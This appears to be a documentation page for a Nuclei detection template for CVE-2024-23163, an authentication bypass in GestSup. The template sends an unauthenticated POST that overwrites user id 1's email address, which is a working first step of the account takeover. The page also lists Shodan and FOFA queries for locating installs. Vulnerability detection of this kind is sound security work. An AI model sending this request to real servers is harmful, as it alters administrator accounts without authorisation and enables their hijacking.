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GestSup - Account Takeover

ID: CVE-2024-23163

Severity: critical

Author: eeche,chae1xx1os,persona-twotwo,soonghee2,gy741

Tags: cve,cve2024,account-takeover,gestsup

Description

Section titled “Description”

YAML Source

Section titled “YAML Source”
id: CVE-2024-23163


info:
  name: GestSup - Account Takeover
  author: eeche,chae1xx1os,persona-twotwo,soonghee2,gy741
  severity: critical
  impact: |
    An attacker could bypass the authentication process and access the application as an administrator user by modifying the usermail field to a controlled email address and requesting a password reset.
  remediation: Apply necessary security patches or updates provided by the vendor to secure the ticket_user_db.php endpoint and ensure proper authentication checks are in place.
  reference:
    - https://www.synacktiv.com/advisories/multiple-vulnerabilities-on-gestsup-3244
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-23163
    - https://doc.gestsup.fr/install/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-23163
    cwe-id: CWE-287
    cpe: cpe:2.3:a:gestsup:gestsup:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gestsup
    fofa-query: title="GestSup"
    shodan-query: http.favicon.hash:-283003760
    product: gestsup
  tags: cve,cve2024,account-takeover,gestsup


variables:
  email: "{{randstr}}@{{rand_base(5)}}.com"
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"


http:
  - raw:
      - |
        POST /ajax/ticket_user_db.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: xmlhttprequest
        Content-Type: application/x-www-form-urlencoded


        modifyuser=1&lastname={{lastname}}&firstname={{firstname}}&phone=&mobile=&mail={{email}}&company=111&id=1


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"status":"success'
          - 'firstname":"{{firstname}}","lastname":"{{lastname}}'
        condition: and


      - type: word
        part: header
        words:
          - 'text/html'


    extractors:
      - type: dsl
        dsl:
          - '"Firstname: "+ firstname'
          - '"Lastname: "+ lastname'
# digest: 490a004630440220053d61d864ca4e6e96ef196b21fba422af0b4a28aed26ac3c37662592fa523960220502761687bc2742022501ffc219c25d46716edfbc5b6fa0d1bf9ef6728e6e0c0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-23163.yaml"

View on Github